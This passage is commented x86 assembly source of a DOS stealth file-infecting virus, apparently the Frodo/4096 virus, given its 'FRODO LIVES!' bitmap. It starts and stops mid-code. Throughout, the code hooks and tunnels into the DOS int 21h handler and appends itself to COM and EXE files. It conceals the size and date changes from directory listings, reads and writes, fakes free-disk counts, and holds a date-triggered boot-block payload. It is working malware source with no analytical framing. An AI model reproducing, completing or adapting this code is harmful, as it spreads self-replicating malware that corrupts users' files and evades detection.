mov cs:checkres,al ; clear the resident flag notexecute: push bp ; set up stack frame mov bp,sp push [bp+6] ; push old flags pop cs:int21flags ; and put in variable pop bp ; why? push bp ; why? mov bp,sp ; set up new stack frame call saveregs call swapvirint21 ; reenable DOS int 21h handler call disableBREAK call restoreregs call _pushall push bx mov bx,offset int21commands ; bx->command table scanforcommand: cmp ah,cs:[bx] ; scan for the function jne findnextcommand ; code/subroutine combination mov bx,cs:[bx+1] xchg bx,[bp-14h] cld retn findnextcommand: add bx,3 ; go to next command cmp bx,offset endcommands ; in the table until jb scanforcommand ; there are no more pop bx exitotherint21: call restoreBREAK in al,21h ; save IMR mov cs:saveIMR,al mov al,0FFh ; disable all interrupts out 21h,al mov byte ptr cs:instructionstotrace,4 ; trace into mov byte ptr cs:tracemode,1 ; oldint21 call replaceint1 ; set virus int 1 handler call _popall push ax mov ax,cs:int21flags ; get the flags or ax,100h ; turn on the trap flag push ax ; and set it in motion popf pop ax pop bp jmp dword ptr cs:oldint21 ; chain back to original int ; 21h handler -- do not return exitint21: call saveregs call restoreBREAK call swapvirint21 call restoreregs pop bp push bp ; set up stack frame mov bp,sp push word ptr cs:int21flags ; get the flags and put pop word ptr [bp+6] ; them on the stack for pop bp ; the iret iret FCBfindfirstnext: call _popall call callint21 or al,al ; Found any files? jnz exitint21 ; guess not call _pushall call getdisktransferaddress mov al,0 cmp byte ptr [bx],0FFh ; Extended FCB? jne findfirstnextnoextendedFCB mov al,[bx+6] add bx,7 ; convert to normal FCB findfirstnextnoextendedFCB: and cs:hide_size,al test byte ptr [bx+1Ah],80h ; check year bit for virus jz _popall_then_exitint21 ; infection tag. exit if so sub byte ptr [bx+1Ah],0C8h ; alter file date cmp byte ptr cs:hide_size,0 jne _popall_then_exitint21 sub word ptr [bx+1Dh],1000h ; hide file size sbb word ptr [bx+1Fh],0 _popall_then_exitint21: call _popall jmp short exitint21 FCBopenfile: call _popall call callint21 ; chain to original int 21h call _pushall or al,al ; 0 = success jnz _popall_then_exitint21 mov bx,dx test byte ptr [bx+15h],80h ; check if infected yet jz _popall_then_exitint21 sub byte ptr [bx+15h],0C8h ; restore date sub word ptr [bx+10h],1000h ; and hide file size sbb byte ptr [bx+12h],0 jmp short _popall_then_exitint21 randomFCBblockread: jcxz go_exitotherint21 ; reading any blocks? randomFCBread: mov bx,dx mov si,[bx+21h] ; check if reading first or si,[bx+23h] ; bytes jnz go_exitotherint21 jmp short continueFCBread sequentialFCBread: mov bx,dx mov ax,[bx+0Ch] ; check if reading first or al,[bx+20h] ; bytes jnz go_exitotherint21 continueFCBread: call checkFCBokinfect jnc continuecontinueFCBread go_exitotherint21: jmp exitotherint21 continuecontinueFCBread: call _popall call _pushall call callint21 ; chain to original handler mov [bp-4],ax ; set the return codes mov [bp-8],cx ; properly push ds ; save FCB pointer push dx call getdisktransferaddress cmp word ptr [bx+14h],1 ; check for EXE infection je FCBreadinfectedfile ; (IP = 1) mov ax,[bx] ; check for COM infection add ax,[bx+2] ; (checksum = 0) add ax,[bx+4] jz FCBreadinfectedfile add sp,4 ; no infection, no stealth jmp short _popall_then_exitint21 ; needed FCBreadinfectedfile: pop dx ; restore address of the FCB pop ds mov si,dx push cs pop es mov di,offset tempFCB ; copy FCB to temporary one mov cx,25h rep movsb mov di,offset tempFCB push cs pop ds mov ax,[di+10h] ; get old file size mov dx,[di+12h] add ax,100Fh ; increase by virus size adc dx,0 ; and round to the nearest and ax,0FFF0h ; paragraph mov [di+10h],ax ; insert new file size mov [di+12h],dx sub ax,0FFCh sbb dx,0 mov [di+21h],ax ; set new random record # mov [di+23h],dx mov word ptr [di+0Eh],1 ; record size = 1 mov cx,1Ch mov dx,di mov ah,27h ; random block read 1Ch bytes call callint21 jmp _popall_then_exitint21 FCBgetfilesize: push cs pop es mov si,dx mov di,offset tempFCB ; copy FCB to temp buffer mov cx,0025h repz movsb push ds push dx push cs pop ds mov dx,offset tempFCB mov ah,0Fh ; FCB open file call callint21 mov ah,10h ; FCB close file call callint21 test byte ptr [tempFCB+15h],80h ; check date bit pop si pop ds jz will_exitotherint21 ; exit if not infected les bx,dword ptr cs:[tempFCB+10h] ; get filesize mov ax,es sub bx,1000h ; hide increase sbb ax,0 xor dx,dx mov cx,word ptr cs:[tempFCB+0eh] ; get record size dec cx add bx,cx adc ax,0 inc cx div cx mov [si+23h],ax ; fix random access record # xchg dx,ax xchg bx,ax div cx mov [si+21h],ax ; fix random access record # jmp _popall_then_exitint21 filenamefindfirstnext: and word ptr cs:int21flags,-2 ; turn off trap flag call _popall call callint21 call _pushall jnb filenamefffnOK ; continue if a file is found or word ptr cs:int21flags,1 jmp _popall_then_exitint21 filenamefffnOK: call getdisktransferaddress test byte ptr [bx+19h],80h ; Check high bit of date jnz filenamefffnfileinfected; Bit set if infected jmp _popall_then_exitint21 filenamefffnfileinfected: sub word ptr [bx+1Ah],1000h ; hide file length increase sbb word ptr [bx+1Ch],0 sub byte ptr [bx+19h],0C8h ; and date change jmp _popall_then_exitint21 createhandle: push cx and cx,7 ; mask the attributes cmp cx,7 ; r/o, hidden, & system? je exit_create_handle pop cx call replaceint13and24 call callint21 ; chain to original int 21h call restoreint13and24 pushf cmp byte ptr cs:errorflag,0 ; check if any errors yet je no_errors_createhandle popf will_exitotherint21: jmp exitotherint21 no_errors_createhandle: popf jc other_error_createhandle; exit on error mov bx,ax ; move handle to bx mov ah,3Eh ; Close file call callint21 jmp short openhandle other_error_createhandle: or byte ptr cs:int21flags,1; turn on the trap flag mov [bp-4],ax ; set the return code properly jmp _popall_then_exitint21 exit_create_handle: pop cx jmp exitotherint21 openhandle: call getcurrentPSP call checkdsdxokinfect jc jmp_exitotherint21 cmp byte ptr cs:handlesleft,0 ; make sure there is a free je jmp_exitotherint21 ; entry in the table call setup_infection ; open the file cmp bx,0FFFFh ; error? je jmp_exitotherint21 ; if so, exit dec byte ptr cs:handlesleft push cs pop es mov di,offset handletable mov cx,14h xor ax,ax ; find end of the table repne scasw mov ax,cs:currentPSP ; put the PSP value and the mov es:[di-2],ax ; handle # in the table mov es:[di+26h],bx mov [bp-4],bx ; put handle # in return code handleopenclose_exit: and byte ptr cs:int21flags,0FEh ; turn off the trap flag jmp _popall_then_exitint21 jmp_exitotherint21: jmp exitotherint21 handleclosefile: push cs pop es call getcurrentPSP mov di,offset handletable mov cx,14h ; 14h entries max mov ax,cs:currentPSP ; search for calling PSP scanhandle_close: repne scasw jnz handlenotfound ; handle not trapped cmp bx,es:[di+26h] ; does the handle correspond? jne scanhandle_close ; if not, find another handle mov word ptr es:[di-2],0 ; otherwise, clear handle call infect_file inc byte ptr cs:handlesleft ; fix handles left counter jmp short handleopenclose_exit ; and exit handlenotfound: jmp exitotherint21 getdisktransferaddress: push es mov ah,2Fh ; Get disk transfer address call callint21 ; to es:bx push es pop ds ; mov to ds:bx pop es retn execute: or al,al ; load and execute? jz loadexecute ; yepper! jmp checkloadnoexecute ; otherwise check if ; load/no execute loadexecute: push ds ; save filename push dx mov word ptr cs:parmblock,bx; save parameter block and mov word ptr cs:parmblock+2,es; move to ds:si lds si,dword ptr cs:parmblock mov di,offset copyparmblock ; copy the parameter block mov cx,0Eh push cs pop es rep movsb pop si ; copy the filename pop ds ; to the buffer mov di,offset copyfilename mov cx,50h rep movsb mov bx,0FFFFh call allocate_memory ; allocate available memory call _popall pop bp ; save the parameters pop word ptr cs:saveoffset ; on the stack pop word ptr cs:savesegment pop word ptr cs:int21flags mov ax,4B01h ; load/no execute push cs ; ds:dx -> file name pop es ; es:bx -> parameter block mov bx,offset copyparmblock pushf ; perform interrupt 21h call dword ptr cs:oldint21 jnc continue_loadexecute ; continue if no error or word ptr cs:int21flags,1; turn on trap flag push word ptr cs:int21flags ; if error push word ptr cs:savesegment ; restore stack push word ptr cs:saveoffset push bp ; restore the stack frame mov bp,sp ; and restore ES:BX to les bx,dword ptr cs:parmblock ; point to the parameter jmp exitint21 ; block continue_loadexecute: call getcurrentPSP push cs pop es mov di,offset handletable ; scan the handle table mov cx,14h ; for the current PSP's scanhandle_loadexecute: ; handles mov ax,cs:currentPSP repne scasw jnz loadexecute_checkEXE mov word ptr es:[di-2],0 ; clear entry in handle table inc byte ptr cs:handlesleft ; fix handlesleft counter jmp short scanhandle_loadexecute loadexecute_checkEXE: lds si,dword ptr cs:origcsip cmp si,1 ; Check if EXE infected jne loadexecute_checkCOM mov dx,word ptr ds:oldheader+16h ; get initial CS add dx,10h ; adjust for PSP mov ah,51h ; Get current PSP segment call callint21 add dx,bx ;adjust for start load segment mov word ptr cs:origcsip+2,dx push word ptr ds:oldheader+14h ; save old IP pop word ptr cs:origcsip add bx,10h ; adjust for the PSP add bx,word ptr ds:oldheader+0Eh ; add old SS mov cs:origss,bx push word ptr ds:oldheader+10h ; old SP pop word ptr cs:origsp jmp short perform_loadexecute loadexecute_checkCOM: mov ax,[si] ; Check if COM infected add ax,[si+2] add ax,[si+4] jz loadexecute_doCOM ; exit if already infected push cs ; otherwise check to see pop ds ; if it is suitable for mov dx,offset copyfilename ; infection call checkdsdxokinfect call setup_infection inc byte ptr cs:hideclustercountchange call infect_file ; infect the file dec byte ptr cs:hideclustercountchange perform_loadexecute: mov ah,51h ; Get current PSP segment call callint21 call saveregs call restoreBREAK call swapvirint21 call restoreregs mov ds,bx ; ds = current PSP segment mov es,bx ; es = current PSP segment push word ptr cs:int21flags ; restore stack parameters push word ptr cs:savesegment push word ptr cs:saveoffset pop word ptr ds:[0Ah] ; Set terminate address in PSP pop word ptr ds:[0Ch] ; to return address found on ; the stack ; (int 21h caller CS:IP) push ds lds dx,dword ptr ds:[0Ah] ; Get terminate address in PSP mov al,22h ; Set terminate address to it call setvect pop ds popf pop ax mov ss,cs:origss ; restore the stack mov sp,cs:origsp ; and jmp dword ptr cs:origcsip ; perform the execute loadexecute_doCOM: mov bx,[si+1] ; restore original COM file mov ax,word ptr ds:[bx+si-261h] mov [si],ax mov ax,word ptr ds:[bx+si-25Fh] mov [si+2],ax mov ax,word ptr ds:[bx+si-25Dh] mov [si+4],ax jmp short perform_loadexecute checkloadnoexecute: cmp al,1 je loadnoexecute jmp exitotherint21 loadnoexecute: or word ptr cs:int21flags,1; turn on trap flag mov word ptr cs:parmblock,bx; save pointer to parameter mov word ptr cs:parmblock+2,es ; block call _popall call callint21 ; chain to int 21h call _pushall les bx,dword ptr cs:parmblock ; restore pointer to ; parameter block lds si,dword ptr es:[bx+12h]; get cs:ip on execute return jc exit_loadnoexecute and byte ptr cs:int21flags,0FEh ; turn off trap flag cmp si,1 ; check for EXE infection je loadnoexecute_EXE_already_infected ; infected if initial IP = 1 mov ax,[si] ; check for COM infection add ax,[si+2] ; infected if checksum = 0 add ax,[si+4] jnz perform_the_execute mov bx,[si+1] ; get jmp location mov ax,ds:[bx+si-261h] ; restore original COM file mov [si],ax mov ax,ds:[bx+si-25Fh] mov [si+2],ax mov ax,ds:[bx+si-25Dh] mov [si+4],ax jmp short perform_the_execute loadnoexecute_EXE_already_infected: mov dx,word ptr ds:oldheader+16h ; get entry CS:IP call getcurrentPSP mov cx,cs:currentPSP add cx,10h ; adjust for PSP add dx,cx mov es:[bx+14h],dx ; alter the entry point CS mov ax,word ptr ds:oldheader+14h mov es:[bx+12h],ax mov ax,word ptr ds:oldheader+0Eh ; alter stack add ax,cx mov es:[bx+10h],ax mov ax,word ptr ds:oldheader+10h mov es:[bx+0Eh],ax perform_the_execute: call getcurrentPSP mov ds,cs:currentPSP mov ax,[bp+2] ; restore length as held in mov word ptr ds:oldheader+6,ax mov ax,[bp+4] ; the EXE header mov word ptr ds:oldheader+8,ax exit_loadnoexecute: jmp _popall_then_exitint21 getDOSversion: mov byte ptr cs:hide_size,0 mov ah,2Ah ; Get date call callint21 cmp dx,916h ; September 22? jb exitDOSversion ; leave if not call writebootblock ; this is broken exitDOSversion: jmp exitotherint21 infect_file: call replaceint13and24 call findnextparagraphboundary mov byte ptr ds:EXEflag,1 ; assume is an EXE file cmp word ptr ds:readbuffer,'ZM' ; check here for regular je clearlyisanEXE ; EXE header cmp word ptr ds:readbuffer,'MZ' ; check here for alternate je clearlyisanEXE ; EXE header dec byte ptr ds:EXEflag ; if neither, assume is a jz try_infect_com ; COM file clearlyisanEXE: mov ax,ds:lengthinpages ; get file size in pages shl cx,1 ; and convert it to mul cx ; bytes add ax,200h ; add 512 bytes cmp ax,si jb go_exit_infect_file mov ax,ds:minmemory ; make sure min and max memory or ax,ds:maxmemory ; are not both zero jz go_exit_infect_file mov ax,ds:filesizelow ; get filesize in dx:ax mov dx,ds:filesizehigh mov cx,200h ; convert to pages div cx or dx,dx ; filesize multiple of 512? jz filesizemultiple512 ; then don't increment # inc ax ; pages filesizemultiple512: mov ds:lengthinpages,ax ; put in new values for length mov ds:lengthMOD512,dx ; fields cmp word ptr ds:initialIP,1 ; check if already infected je exit_infect_file mov word ptr ds:initialIP,1 ; set new entry point mov ax,si ; calculate new entry point sub ax,ds:headersize ; segment mov ds:initialcs,ax ; put this in for cs add word ptr ds:lengthinpages,8 ; 4K more mov ds:initialSS,ax ; put entry segment in for SS mov word ptr ds:initialSP,1000h ; set stack @ 1000h call finish_infection go_exit_infect_file: jmp short exit_infect_file try_infect_com: cmp si,0F00h ; make sure file is under jae exit_infect_file ; F00h paragraphs or else ; it will be too large once it ; is infected mov ax,ds:readbuffer ; first save first 6 bytes mov word ptr ds:oldheader,ax add dx,ax mov ax,ds:readbuffer+2 mov word ptr ds:oldheader+2,ax add dx,ax mov ax,ds:readbuffer+4 mov word ptr ds:oldheader+4,ax add dx,ax ; exit if checksum = 0 jz exit_infect_file ; since then it is already ; infected mov cl,0E9h ; encode jmp instruction mov byte ptr ds:readbuffer,cl mov ax,10h ; find file size mul si add ax,offset entervirus-3 ; calculate offset of jmp mov word ptr ds:readbuffer+1,ax ; encode it mov ax,ds:readbuffer ; checksum it to 0 add ax,ds:readbuffer+2 neg ax mov ds:readbuffer+4,ax call finish_infection exit_infect_file: mov ah,3Eh ; Close file call callint21 call restoreint13and24 retn findnextparagraphboundary: push cs pop ds mov ax,5700h ; Get file time/date call callint21 mov ds:filetime,cx mov ds:filedate,dx mov ax,4200h ; Go to beginning of file xor cx,cx mov dx,cx call callint21 mov ah,3Fh ; Read first 1Ch bytes mov cl,1Ch mov dx,offset readbuffer call callint21 mov ax,4200h ; Go to beginning of file xor cx,cx mov dx,cx call callint21 mov ah,3Fh ; Read first 1Ch bytes mov cl,1Ch mov dx,offset oldheader call callint21 mov ax,4202h ; Go to end of file xor cx,cx mov dx,cx call callint21 mov ds:filesizelow,ax ; save filesize mov ds:filesizehigh,dx mov di,ax add ax,0Fh ; round to nearest paragraph adc dx,0 ; boundary and ax,0FFF0h sub di,ax ; di=# bytes to next paragraph mov cx,10h ; normalize filesize div cx ; to paragraphs mov si,ax ; si = result retn finish_infection: mov ax,4200h ; Go to beginning of file xor cx,cx mov dx,cx call callint21 mov ah,40h ; Write new header to file mov cl,1Ch mov dx,offset readbuffer call callint21 mov ax,10h ; convert paragraph boundary mul si ; to a byte value mov cx,dx mov dx,ax mov ax,4200h ; go to first paragraph call callint21 ; boundary at end of file xor dx,dx mov cx,1000h add cx,di mov ah,40h ; Concatenate virus to file call callint21 mov ax,5701h ; Restore file time/date mov cx,ds:filetime mov dx,ds:filedate test dh,80h ; check for infection bit jnz highbitset add dh,0C8h ; alter if not set yet highbitset: call callint21 cmp byte ptr ds:DOSversion,3; if not DOS 3+, then jb exit_finish_infection ; do not hide the alteration ; in cluster count cmp byte ptr ds:hideclustercountchange,0 je exit_finish_infection push bx mov dl,ds:filedrive mov ah,32h ; Get drive parameter block call callint21 ; for drive dl mov ax,cs:numfreeclusters mov [bx+1Eh],ax ; alter free cluster count pop bx exit_finish_infection: retn checkFCBokinfect: call saveregs mov di,dx add di,0Dh ; skip to extension push ds pop es jmp short performchecksum ; and check checksum for valid ; checksum checkdsdxokinfect: call saveregs push ds pop es mov di,dx mov cx,50h ; max filespec length xor ax,ax mov bl,0 ; default drive cmp byte ptr [di+1],':' ; Is there a drive spec? jne ondefaultdrive ; nope, skip it mov bl,[di] ; yup, get drive and bl,1Fh ; and convert to number ondefaultdrive: mov cs:filedrive,bl repne scasb ; find terminating 0 byte performchecksum: mov ax,[di-3] and ax,0DFDFh ; convert to uppercase add ah,al mov al,[di-4] and al,0DFh ; convert to uppercase add al,ah mov byte ptr cs:EXEflag,0 ; assume COM file cmp al,0DFh ; COM checksum? je COMchecksum inc byte ptr cs:EXEflag ; assume EXE file cmp al,0E2h ; EXE checksum? jne otherchecksum COMchecksum: call restoreregs clc ; mark no error retn otherchecksum: call restoreregs stc ; mark error retn getcurrentPSP: push bx mov ah,51h ; Get current PSP segment call callint21 mov cs:currentPSP,bx ; store it pop bx retn setup_infection: call replaceint13and24 push dx mov dl,cs:filedrive mov ah,36h ; Get disk free space call callint21 mul cx ; ax = bytes per cluster mul bx ; dx:ax = bytes free space mov bx,dx pop dx or bx,bx ; less than 65536 bytes free? jnz enough_free_space ; hopefully not cmp ax,4000h ; exit if less than 16384 jb exit_setup_infection ; bytes free enough_free_space: mov ax,4300h ; Get file attributes call callint21 jc exit_setup_infection ; exit on error mov di,cx ; di = attributes xor cx,cx mov ax,4301h ; Clear file attributes call callint21 cmp byte ptr cs:errorflag,0 ; check for errors jne exit_setup_infection mov ax,3D02h ; Open file read/write call callint21 jc exit_setup_infection ; exit on error mov bx,ax ; move handle to bx ; xchg bx,ax is superior mov cx,di mov ax,4301h ; Restore file attributes call callint21 push bx mov dl,cs:filedrive ; Get file's drive number mov ah,32h ; Get drive parameter block call callint21 ; for disk dl mov ax,[bx+1Eh] ; Get free cluster count mov cs:numfreeclusters,ax ; and save it pop bx ; return handle call restoreint13and24 retn exit_setup_infection: xor bx,bx dec bx ; return bx=-1 on error call restoreint13and24 retn checkforinfection: push cx push dx push ax mov ax,4400h ; Get device information call callint21 ; (set hide_size = 2) xor dl,80h test dl,80h ; Character device? If so, jz exit_checkforinfection ; exit; cannot be infected mov ax,5700h ; Otherwise get time/date call callint21 test dh,80h ; Check year bit for infection exit_checkforinfection: pop ax pop dx pop cx retn obtainfilesize: call saveregs mov ax,4201h ; Get current file position xor cx,cx xor dx,dx call callint21 mov cs:curfileposlow,ax mov cs:curfileposhigh,dx mov ax,4202h ; Go to end of file xor cx,cx xor dx,dx call callint21 mov cs:filesizelow,ax mov cs:filesizehigh,dx mov ax,4200h ; Return to file position mov dx,cs:curfileposlow mov cx,cs:curfileposhigh call callint21 call restoreregs retn getsetfiletimedate: or al,al ; Get time/date? jnz checkifsettimedate ; if not, see if Set time/date and word ptr cs:int21flags,0FFFEh ; turn off trap flag call _popall call callint21 jc gettimedate_error ; exit on error test dh,80h ; check year bit if infected jz gettimedate_notinfected sub dh,0C8h ; if so, hide change gettimedate_notinfected: jmp exitint21 gettimedate_error: or word ptr cs:int21flags,1; turn on trap flag jmp exitint21 checkifsettimedate: cmp al,1 ; Set time/date? jne exit_filetimedate_pointer and word ptr cs:int21flags,0FFFEh ; turn off trap flag test dh,80h ; Infection bit set? jz set_yearbitset sub dh,0C8h ; clear infection bit set_yearbitset: call checkforinfection jz set_datetime_nofinagle add dh,0C8h ; set infection flag set_datetime_nofinagle: call callint21 mov [bp-4],ax adc word ptr cs:int21flags,0; turn on/off trap flag jmp _popall_then_exitint21 ; depending on result handlemovefilepointer: cmp al,2 jne exit_filetimedate_pointer call checkforinfection jz exit_filetimedate_pointer sub word ptr [bp-0Ah],1000h ; hide file size sbb word ptr [bp-8],0 exit_filetimedate_pointer: jmp exitotherint21 handleread: and byte ptr cs:int21flags,0FEh ; clear trap flag call checkforinfection ; exit if it is not jz exit_filetimedate_pointer ; infected -- no need ; to do stealthy stuff mov cs:savelength,cx mov cs:savebuffer,dx mov word ptr cs:return_code,0 call obtainfilesize mov ax,cs:filesizelow ; store the file size mov dx,cs:filesizehigh sub ax,1000h ; get uninfected file size sbb dx,0 sub ax,cs:curfileposlow ; check if currently in sbb dx,cs:curfileposhigh ; virus code jns not_in_virus_body ; continue if not mov word ptr [bp-4],0 ; set return code = 0 jmp handleopenclose_exit not_in_virus_body: jnz not_reading_header cmp ax,cx ; reading from header? ja not_reading_header mov cs:savelength,ax ; # bytes into header not_reading_header: mov dx,cs:curfileposlow mov cx,cs:curfileposhigh or cx,cx ; if reading > 64K into file, jnz finish_reading ; then no problems cmp dx,1Ch ; if reading from header, then jbe reading_from_header ; do stealthy stuff finish_reading: mov dx,cs:savebuffer mov cx,cs:savelength mov ah,3Fh ; read file call callint21 add ax,cs:return_code ; ax = bytes read mov [bp-4],ax ; set return code properly jmp _popall_then_exitint21 reading_from_header: mov si,dx mov di,dx add di,cs:savelength cmp di,1Ch ; reading all of header? jb read_part_of_header ; nope, calculate how much xor di,di jmp short do_read_from_header read_part_of_header: sub di,1Ch neg di do_read_from_header: mov ax,dx mov cx,cs:filesizehigh ; calculate location in mov dx,cs:filesizelow ; the file of the virus add dx,0Fh ; storage area for the adc cx,0 ; original 1Ch bytes of and dx,0FFF0h ; the file sub dx,0FFCh sbb cx,0 add dx,ax adc cx,0 mov ax,4200h ; go to that location call callint21 mov cx,1Ch sub cx,di sub cx,si mov ah,3Fh ; read the original header mov dx,cs:savebuffer call callint21 add cs:savebuffer,ax sub cs:savelength,ax add cs:return_code,ax xor cx,cx ; go past the virus's header mov dx,1Ch mov ax,4200h call callint21 jmp finish_reading ; and continue the reading handlewrite: and byte ptr cs:int21flags,0FEh ; turn off trap flag call checkforinfection jnz continue_handlewrite jmp exit_filetimedate_pointer continue_handlewrite: mov cs:savelength,cx mov cs:savebuffer,dx mov word ptr cs:return_code,0 call obtainfilesize mov ax,cs:filesizelow mov dx,cs:filesizehigh sub ax,1000h ; calculate original file sbb dx,0 ; size sub ax,cs:curfileposlow ; writing from inside the sbb dx,cs:curfileposhigh ; virus? js finish_write ; if not, we can continue jmp short write_inside_virus; otherwise, fixup some stuff finish_write: call replaceint13and24 push cs pop ds mov dx,ds:filesizelow ; calculate location in file mov cx,ds:filesizehigh ; of the virus storage of the add dx,0Fh ; original 1Ch bytes of the adc cx,0 ; file and dx,0FFF0h sub dx,0FFCh sbb cx,0 mov ax,4200h call callint21 mov dx,offset oldheader mov cx,1Ch mov ah,3Fh ; read original header call callint21 mov ax,4200h ; go to beginning of file xor cx,cx mov dx,cx call callint21 mov dx,offset oldheader mov cx,1Ch mov ah,40h ; write original header to call callint21 ; the file mov dx,0F000h ; go back 4096 bytes mov cx,0FFFFh ; from the end of the mov ax,4202h ; file and call callint21 mov ah,40h ; truncate the file xor cx,cx ; at that position call callint21 mov dx,ds:curfileposlow ; Go to current file position mov cx,ds:curfileposhigh mov ax,4200h call callint21 mov ax,5700h ; Get file time/date call callint21 test dh,80h jz high_bit_aint_set sub dh,0C8h ; restore file date mov ax,5701h ; put it onto the disk call callint21 high_bit_aint_set: call restoreint13and24 jmp exitotherint21 write_inside_virus: jnz write_inside_header ; write from start of file? cmp ax,cx ja write_inside_header ; write from inside header? jmp finish_write write_inside_header: mov dx,cs:curfileposlow mov cx,cs:curfileposhigh or cx,cx ; Reading over 64K? jnz writemorethan1Chbytes cmp dx,1Ch ; Reading over 1Ch bytes? ja writemorethan1Chbytes jmp finish_write writemorethan1Chbytes: call _popall call callint21 ; chain to int 21h ; (allow write to take place) call _pushall mov ax,5700h ; Get file time/date call callint21 test dh,80h jnz _popall_then_exitint21_ add dh,0C8h mov ax,5701h ; restore file date call callint21 _popall_then_exitint21_: jmp _popall_then_exitint21 jmp exitotherint21 int13: pop word ptr cs:int13tempCSIP ; get calling CS:IP off pop word ptr cs:int13tempCSIP+2 ; the stack pop word ptr cs:int13flags and word ptr cs:int13flags,0FFFEh ; turn off trap flag cmp byte ptr cs:errorflag,0 ; any errors yet? jne exitint13error ; yes, already an error push word ptr cs:int13flags call dword ptr cs:origints jnc exitint13 inc byte ptr cs:errorflag ; mark error exitint13error: stc ; mark error exitint13: jmp dword ptr cs:int13tempCSIP ; return to caller int24: xor al,al ; ignore error mov byte ptr cs:errorflag,1 ; mark error iret replaceint13and24: mov byte ptr cs:errorflag,0 ; clear errors call saveregs push cs pop ds mov al,13h ; save int 13 handler call getint mov word ptr ds:origints,bx mov word ptr ds:origints+2,es mov word ptr ds:oldint13,bx mov word ptr ds:oldint13+2,es mov dl,0 mov al,0Dh ; fixed disk interrupt call getint mov ax,es cmp ax,0C000h ; is there a hard disk? jae harddiskpresent ; C000+ is in BIOS mov dl,2 harddiskpresent: mov al,0Eh ; floppy disk interrupt call getint mov ax,es cmp ax,0C000h ; check if floppy jae floppypresent mov dl,2 floppypresent: mov ds:tracemode,dl call replaceint1 mov ds:savess,ss ; save stack mov ds:savesp,sp push cs ; save these on stack for mov ax,offset setvirusints ; return to setvirusints push ax mov ax,70h mov es,ax mov cx,0FFFFh mov al,0CBh ; retf xor di,di repne scasb ;scan es:di for retf statement dec di ; es:di->retf statement pushf push es ; set up stack for iret to push di ; the retf statement which ; will cause transfer of ; control to setvirusints pushf pop ax or ah,1 ; turn on the trap flag push ax in al,21h ; save IMR in temporary mov ds:saveIMR,al ; buffer and then mov al,0FFh ; disable all the out 21h,al ; interrupts popf xor ax,ax ; reset disk jmp dword ptr ds:origints ; (int 13h call) ; then transfer control to setvirusints: ; setvirusints lds dx,dword ptr ds:oldint1 mov al,1 ; restore old int 1 handler call setvect push cs pop ds mov dx,offset int13 ; replace old int 13h handler mov al,13h ; with virus's call setvect mov al,24h ; Get old critical error call getint ; handler and save its mov word ptr ds:oldint24,bx ; location mov word ptr ds:oldint24+2,es mov dx,offset int24 mov al,24h ; Replace int 24 handler call setvect ; with virus's handler call restoreregs retn restoreint13and24: call saveregs lds dx,dword ptr cs:oldint13 mov al,13h call setvect lds dx,dword ptr cs:oldint24 mov al,24h call setvect call restoreregs retn disableBREAK: mov ax,3300h ; Get current BREAK setting call callint21 mov cs:BREAKsave,dl mov ax,3301h ; Turn BREAK off xor dl,dl call callint21 retn restoreBREAK: mov dl,cs:BREAKsave mov ax,3301h ; restore BREAK setting call callint21 retn _pushall: pop word ptr cs:pushpopalltempstore pushf push ax push bx push cx push dx push si push di push ds push es jmp word ptr cs:pushpopalltempstore swapvirint21: les di,dword ptr cs:oldint21; delve into original int mov si,offset jmpfarptr ; handler and swap the first push cs ; 5 bytes. This toggles it pop ds ; between a jmp to the virus cld ; code and the original 5 mov cx,5 ; bytes of the int handler swapvirint21loop: ; this is a tunnelling method lodsb ; if I ever saw one xchg al,es:[di] ; puts the bytes in DOS's mov [si-1],al ; int 21h handler inc di loop swapvirint21loop retn _popall: pop word ptr cs:pushpopalltempstore pop es pop ds pop di pop si pop dx pop cx pop bx pop ax popf jmp word ptr cs:pushpopalltempstore restoreregs: mov word ptr cs:storecall,offset _popall jmp short do_saverestoreregs saveregs: mov word ptr cs:storecall,offset _pushall do_saverestoreregs: mov cs:storess,ss ; save stack mov cs:storesp,sp push cs pop ss mov sp,cs:stackptr ; set new stack call word ptr cs:storecall mov cs:stackptr,sp ; update internal stack ptr mov ss,cs:storess ; and restore stack to mov sp,cs:storesp ; caller program's stack retn replaceint1: mov al,1 ; get the old interrupt call getint ; 1 handler and save it mov word ptr cs:oldint1,bx ; for later restoration mov word ptr cs:oldint1+2,es push cs pop ds mov dx,offset int1 ; set int 1 handler to call setvect ; the virus int handler retn allocatememory: call allocate_memory jmp exitotherint21 allocate_memory: cmp byte ptr cs:checkres,0 ; installed check je exitallocate_memory ; exit if installed cmp bx,0FFFFh ; finding total memory? jne exitallocate_memory ; (virus trying to install?) mov bx,160h ; allocate memory to virus call callint21 jc exitallocate_memory ; exit on error mov dx,cs cmp ax,dx jb continue_allocate_memory mov es,ax mov ah,49h ; Free memory call callint21 jmp short exitallocate_memory continue_allocate_memory: dec dx ; get segment of MCB mov ds,dx mov word ptr ds:[1],0 ; mark unused MCB inc dx ; go to memory area mov ds,dx mov es,ax push ax mov word ptr cs:int21store+2,ax ; fixup segment xor si,si mov di,si mov cx,0B00h rep movsw ; copy virus up there dec ax ; go to MCB mov es,ax mov ax,cs:ownerfirstMCB ; get DOS PSP ID mov es:[1],ax ; make vir ID = DOS PSP ID mov ax,offset exitallocate_memory push ax retf exitallocate_memory: retn get_device_info: mov byte ptr cs:hide_size,2 jmp exitotherint21 callint21: ; call original int 21h handler (tunnelled) pushf call dword ptr cs:oldint21 retn bootblock: cli xor ax,ax ; set new stack just below mov ss,ax ; start of load area for mov sp,7C00h ; boot block jmp short enter_bootblock borderchars db 'ÛÛÛ ' FRODO_LIVES: ; bitmapped 'FRODO LIVES!' db 11111001b,11100000b,11100011b,11000011b,10000000b db 10000001b,00010001b,00010010b,00100100b,01000000b db 10000001b,00010001b,00010010b,00100100b,01000000b db 11110001b,11110001b,00010010b,00100100b,01000000b db 10000001b,00100001b,00010010b,00100100b,01000000b db 10000001b,00010000b,11100011b,11000011b,10000000b db 00000000b,00000000b,00000000b,00000000b,00000000b db 00000000b,00000000b,00000000b,00000000b,00000000b db 10000010b,01000100b,11111000b,01110000b,11000000b db 10000010b,01000100b,10000000b,10001000b,11000000b db 10000010b,01000100b,10000000b,10000000b,11000000b db 10000010b,01000100b,11110000b,01110000b,11000000b db 10000010b,00101000b,10000000b,00001000b,11000000b db 10000010b,00101000b,10000000b,10001000b,00000000b db 11110010b,00010000b,11111000b,01110000b,11000000b enter_bootblock: push cs pop ds mov dx,0B000h ; get video page in bh mov ah,0Fh ; get video mode in al int 10h ; get columns in ah cmp al,7 ; check if colour je monochrome mov dx,0B800h ; colour segment monochrome: mov es,dx ; es->video segment cld xor di,di mov cx,25*80 ; entire screen mov ax,720h ; ' ', normal attribute rep stosw ; clear the screen mov 